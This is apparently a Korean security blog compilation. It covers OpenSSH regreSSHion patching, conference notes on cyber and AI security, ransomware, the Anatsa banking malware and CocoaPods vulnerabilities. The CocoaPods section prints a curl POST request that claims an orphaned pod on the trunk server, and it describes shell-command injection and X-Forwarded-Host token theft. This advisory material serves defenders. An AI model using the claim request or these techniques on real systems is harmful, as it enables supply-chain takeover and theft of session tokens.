* 4.4p1 이전 버전: CVE-2006-5051, CVE-2008-4109 취약점에 대한 패치가 되어 있을 경우 안전 * 4.4p1 ~ 8.5p1 이전 버전: CVE-2006-5051 취약점 패치가 적용되어 있을 경우 안전 * 8.5p1 ~ 9.8p1 이전 버전: 9.8p1 버전으로 업데이트 적용 * 오픈BSD(OpenBSD) 시스템들은 전부 안전하다.
- 기타 > SSH에 대한 접근 제어, 로그 모니터링 > LoginGraceTime 시간 수정 > OpenSSH regreSSHion 취약점 여부 확인 스크립트 활용 [9]
- 과학 협력 강조는 새로운 난관과 위협에 대응하고자하는 포괄적 국제 협력 전략의 일부 > 현실, 사이버 공간, 주요 신흥 기술 분야에서 급증하는 위협에 직면 > 오늘날의 디지털 공간은 경계가 없어 한 국가의 위협이 인접국으로 쉽게 퍼져나감 > 무수히 만은 위협이 시스템을 노리기에 신흥 기술을 사용한 해결책을 만들고, 이를 활용하고자 협력 > 동맥국과 긴밀한 협력만이 진화하는 위협과 보안 문제에 맞서는 환경을 만들 수 있음 > 협력만이 제한된 자원의 우선 순위를 정하는 난제를 해결하고, 이해관계자 및 사용자의 요구에 부응할 수 있음 > 그러나, 신흥 기술로 인해 새로운 종류의 위협 또한 나타날 것이며 기존의 방식으로 타파할 수 없음(Ex. AI, 5~7G, 양자 기술 등) > 누구든, 언제 어디서든 범죄를 자행할 수 있으므로 보안과 신흥기술을 면밀히 파악해 정부의 역할을 정해야 함
- 우리는 기술의 발달로 디지털 전환이 이루어졌고, 기회가 될 수도 위기가 될 수도 있음 > AI가 가져오는 보안과 관련된 문제에대해(사이버 시큐리티 측면에서의 장점 VS 공격자들의 악용) 고려 필요 > Github 등에 등록된 여러 오픈 소스 AI S/W 중 상당히 많은 악성코드와 백도어가 숨겨져 있음을 알고있음 > 중국, 러시아, 북한이 주요 위협 대상이며, 러시아의 전쟁을 통한 사이버전 경험이 북한에 전수될 경우 더 큰 위협이 될 것 > 따라서, 디지털 전환이 가속될수록 보안 문제는 더 커질 것임
- 디지털 전환은 보안과 회복성이 중요 > 국가 주요 인프라의 회복성은 매우 중요 > 디지털 세계는 더욱 복잡하게 얽혀서 취약점이 드러나고 있음 > 보안은 기본화하는것이 핵심이며, 타이밍이 문제 > 각국의 정부가 상충하거나 중복된 규제 요건으로 인해 혁신과 기술적 이점을 놓치지 않도록 적절한 국제 협력 필요
- 공세적, 자주적 사이버 안보의 필요 > 사이버전은 결국 육해공, 우주를 상관없이 모든 것을 포괄 > 사이버 전쟁의 핵심은 공격 원점 식별 > 원점 식별에 패턴 유사성 등을 통해 식별할 수 있으나 위조가 가능하므로 선제적 방어, 공세적 역량이 중요함 > 또한, 사이버 전을 수행하기 위한 무기, 즉 S/W가 안전한지 확신할 수 없으므로 무기를 스스로 만들어 유사시 대응 필요
2. 정보보호의 미래전략
2.1 생성형 AI의 확산과 보안 방법
- 생성형 AI 보안 이슈 > AI 시대의 잠재적 위험(부정확성, 사이버 보안, 지적재산권 침해)애 대처하지 못하고 있음 > 딥페이크, 가짜 정보 제공, 가짜 뉴스, 편향성. 오남용, 저작권 이슈 등
- 생성형 AI 보안이슈 완화방안
Prompt Defense
Data Isolation
Instructional Prevention
Sandwich Defense
Few-shot
Encoding&Decoding
Latest Defense
Llama-Guard 2 System Prompt
Semantic Smoothing
PARDEN
Disguiser
Bottleneck
LLM Unlearning
- 조직의 AI 사용 시 유의 사항 > AI 사용 목적과 범위, 한계 등의 규정과 안전한 사용을 위한 보안 교육 실시 > 요구 사항, 위험/위협/영향도, 사용 가능 분야, 정책, 체계, 교육, 징계 등 > 가짜 AI와 브라우저 확장 프로그램 주의, 민감 정보 입력 금지, 결과 검증, 편향성 인식, 철저한 검토 등
2.2 초연결 시대의 6G 보안
- 미국, 한국, 영국. 일본 등 9개국 6G 원칙을 지지하는 공동 성명 발표 - 한국: 12대 국가전략기술 로드맵 완성 및 핵심 프로젝트 선정
- 6G: 지상~우주 네트워크 통합 > 6G 구현에 있어 보안 및 회복력 강조 > 6G 보안 비전: 자동화, 신뢰성, 프라이버시, 안전성, 개방성
- 6G 보안을 위한 핵심 요소 기술 > Zero-Trust, Blockchain, AI/ML, PET/DPKI, PQC/QKD
2.3 모빌리티 보안의 미래
- SDV(Software-Defined Vehicle) > 기존 S/W에서 발생할 수 있는 보안 취약점과 위협을 지님 > 22.07부터 WP.29(국제 자동차 사이버보안 법규)시행됨에 따라 법규 준수 요구
- UNECE WP.29 > 자동차 사이버보안 및 소프트웨어 업데이트(CS/OTA)에 대한 보안 항목들을 요구 > 완성차 업체는 CSMS(사이버보안 관리체계)인증 및 형식 승인(제품검증테스트)을 충족해야만 차량 판매 가능
- ISO 21434(CSMS) 표준 > 자동차 사이버보안 엔지니어링 국제표준
3. 글로벌 보안 위협 대응 전략
3.1 Ransomware ran somewhere 2024
- 랜섬웨어는 데이터 유출 및 암호화 후 금전을 요구 > 최근 공격 후 흔적을 지우고 조사에 혼선을 주기위해 랜섬웨어를 이용
> 현재까지 알려진 랜섬웨어는 약 1,200개이며 계속해서 새로운 렌섬웨어가 등장
- 24년에도 피해 기관 및 업체는 꾸준히 발생 중
> 협박금 지불 기업 감소 추세
> 공격자들은 RaaS, 소스 코드 판매 등으로 수익을 얻음
> 노출 포트, 취약점을 악용하며, 새로운 언어(Go, Rust, Nim) 또는 BYOYD 기법을 활용
> 특정 산업을 타겟하거나 사칭하여 유포하며, 공격 그룹간 협업
- 각 국각의 대응 강화
> CRI(Counter Ransomware Initiative, 국제 협의체)
> 국가간 또는 사법 당국의 협업으로 범죄자 체포
> 복호화키 공개, 정보 공유 등
- 백업, 출처 불분명 메일 등 열람 금지, 백신 활용, 보안 로그 점검 등 수칙 준수
3.2 실제 사례기반 북한발 사이버 위협 동향
- 23년 하루 평균 162만건의 공격 시도가 공공기관에 발생하였으며, 80% 이상이 북한 소행
- 국경을 초월한 사이버 안보 위협 일상화
> 국가간 사이버 위협 증대와 고도화된 공격 지속 등장 및 일상화
> Zero-Day 취약점 발굴 및 맞춤형 표적 공격
> 사회 혼란 및 국가 기반 시설 침투를 위한 사이버 위협의 중대 우려
> 범 국가적 민, 관 사이버 위협 인텔리전스 협력 체계 지속 강화
- 차세대 통합 보안 플랫폼 구출 필요
> EDR, CTI 기반 최신 위협 탐지를 가시성 있게 효율적으로 통합 운영 필요
> 자동화된 플랫폼 형태의 멀티 위협 대응 체계로 지능적 감시 강화 필요
> 차세대 보안 기술에 대한 지속적 관심과 투자는 필수
> 현장 실무형 전무가 양성 및 기존 보안 인력 처우 개선
3.3 글로벌 해킹 조직의 움직임과 우리의 대응 방향
- 공격자들의 목적: 금전적 이득 - 새로운 기술은 공격에 새로운 옵션이 등장하는 것
- 일반적인 대응: 최신의 패치 상태 유지 > (기업 및 기관에서) 모든 소프트웨어에 대한 빠르고 안정적인 패치 적용은 쉽지 않음
- 100% 확정적으로 맞서는 것은 불가능 > 상호 보완적인 보안 역량 강화 및 이를 위한 인력 보유가 필요
- 정상 앱을 가장해 구글 플레이를 통해 유포되는 금융 정보 탈취 악성앱 Anatsa - 최근 국내 금융 분야를 대상으로 공격 범위를 확대하고 있어 주의 요구
내용
- Anatsa > 21년 초 유럽 금융 앱을 대상으로 금융정보 탈취 공격을 시작한 안드로이드 기반 악성 앱 > 정상 서비스로 위장해(PDF 리더, QR코드 스캐너 등) 구글 플레이 스토어를 통해 유포 > 스마트폰에 설치되면, 앱 업데이트를 가장해 Anatsa 악성 앱이 다운로드 및 설치
> C2 서버의 명령에 따라 데이터 탈취(스크린샷, 문자, 인증코드 등) 및 스마트폰 제어(화면잠금 해제, 화면 터치, 값 입력 등) > 탈취한 데이터는 C2 서버로 전송
- 최근 국내 금융을 대상으로 공격 범위 확대 > 24.06 기준 한국 포함 54개 국가의 금융·핀테크·가상화폐 등 688개 앱이 금융정보 탈취 대상에 포함된 것을 확인
- Anatsa 악성 앱은 접근성 권한을 악용 > Anatsa 악성 앱 실행 시 사용자에게 접근성 권한 활성화 안내 화면 표시 > 접근 권한이 활성화되면, 실행되는 앱 또는 동작을 탐지하고, 입출력 값을 확인하거나 버튼을 클리하는 등의 기능 악용 > 특히 키로깅, 오버레이 공격을 활용해 금융정보를 탈취 > 또한, 모바일 백신·클리너 실행을 방지하고, 종료나 설정 메뉴 접근을 차단해 악성 앱이 종료 또는 삭제되는 것을 막음
- 유의사항 > 앱 설치 전 사용자 리뷰, 약관, 포럼 등을 확인 > 앱 실행에 필요하지 않는 권한 비활성화 > 출처를 알 수 없는 앱 설치 비활성화 > 최신 버전의 OS 사용 및 보안 업데이트 수행 > 최신 버전의 모바일 백신 사용 및 주기적인 검사 수행 ※ 스마트폰에 악성 앱이 설치된 경우 스마트폰을 안전모드로 부팅한 후 악성 앱을 제거할 수 있음
- Apple에서 나온 거의 모든 장비에 영향을 주는 10년간 방치되어 있다 발견 [1] - 취약점은 종속성 관리자 CocoaPods 프로그램에서 발생 [2] - 악용한 시도는 아직까지 확인되지 않았으며, 취약점은 패치됨
1.1 관련 용어
구분
설명
Pod
프로젝트의 Dependency 상황을 서술하고 있는 파일
Dependency(의존성)
소프트웨어를 구성하는 요소들끼리 상호 의존하는 관계
CocoaPods
Swift와 Objective-C 언어로 만들어진 애플리케이션들의 디펜던시 관리를 편리하게 해 주는 오픈소스로, 팟들을 관리
Swift
개발 언어 중 하나
Objective-C
Trunk
코코아팟즈와 연결된 서버로, 팟들을 저장하고 관리
2. 주요내용
2.1 CocoaPods 마이그레이션
- 2014년 CocoaPods은 새롭게 구축한 Trunk 서버로 마이그레이션 - 마이그레이션으로 인해 모든 Pod의 소유자가 초기화 - Pod의 원 소유자들은 CocoaPods에 연락해 Pod에 대한 소유권을 주장 - 그러나 일부 Pod 소유자들은 소유권을 주장하지 않았고, 1,870개의 Pod가 주인 없이 방치
2.2 CVE-2024-38368 [3]
- 임의의 사용자가 방치된 Pod의 소유권을 획득할 수 있는 취약점 (CVSS: 9.3)
> 누구나 Pod에 접근 및 내용을 수정이 가능하여 악성코드 삽입 가능 > 방치된 Pod는 기본 CocoaPods 계정(unclaimed-pods[@]cocoapods.org)과 연결되어 있었음 > 또한, Pod의 소유권을 주장할 수 있는 공개 API 엔드포인트가 사용가능해 누구나 검증 없이 Pod의 소유권을 획득할 수 있었음
- 공격자는 해당 API에 대상 Pod를 포함한 간단한 CURL 요청을 통해 소유권 획득 가능
# Curl request for changing ownership of a targeted orphaned pod curl -X 'POST' \ -H 'Host: trunk.cocoapods.org' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-binary 'owner[name]=EVA&email=research@evasec.io' --data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND' 'hxxps://trunk.cocoapods.org/claims'
2.3 CVE-2024-38366 [4]
- 이메일 도메인의 MX 레코드 유효성을 확인하는 rfc-822 라이브러리에의해 발생하는 원격 코드 실행 취약점 (CVSS: 10.0)
> rfc-822 라이브러리는 MX 레코드 유효성 검증을 위해 셸 명령을 실행하여 이로 인해 원격 코드 실행이 가능해짐 > 익스플로잇에 성공시 모든 Pod 소유자들의 세션 토큰 덤프하고 클라이언트 트래픽 조작 가능하며, 서버 자체를 완전히 셧다운 시키는 것도 가능
① mx_records() > 38행: 이메일 주소를 받아 모듈의 EMAIL 정규식 패턴과 비교하여 검증 > 41행: 제공된 이메일 주소에서 분할된 도메인 부분을 이용해 raw_mx_records() 호출 ② raw_mx_records() > 49~51행: 도메인 부분 수신 및 DNS MX 레코드 검증을 위해 host_mx() 호출 ③ host_mx() > 53~55행: 임의의 OS 명령 '/usr/bin/env host -t MX #{domain}'을 실행하고, 이를 사용자가 제공한 이메일의 도메인과 연결 > 적절한 검증 없이 제공된 이메일 주소에 대해 OS 명령을 실행하여 취약점 발생
2.4 CVE-2024-38367 [6]
- 사용자들의 상호작용 없이 세션 인증 토큰을 탈취할 수 있는 제로클릭 취약점 (CVSS: 8.2)
> 취약점은 세션 유효성 검사 URL을 구성하는 sessions_controller 클래스의 'Trunk' 서버 소스 코드에 위치
① request.host_wth_port() > 21행: 세션 검증 URL의 도메인 부분을 생성하며, 새 세션이 생성 및 생성된 링크가 이메일을 통해 전송 > request.host_wth_port()는 Host 헤더나 다른 환경 변수 값보다 X-Forwarded-Host 헤더를 우선시
- 공격자는 조작된 X-Forwarded-Host를 통해 스푸핑된 도메인이 포함된 세션 검증 URL을 생성 및 공격자 메일로 전송 > 공격자는 검증 URL을 통해 세션 토큰을 탈취할 수 있음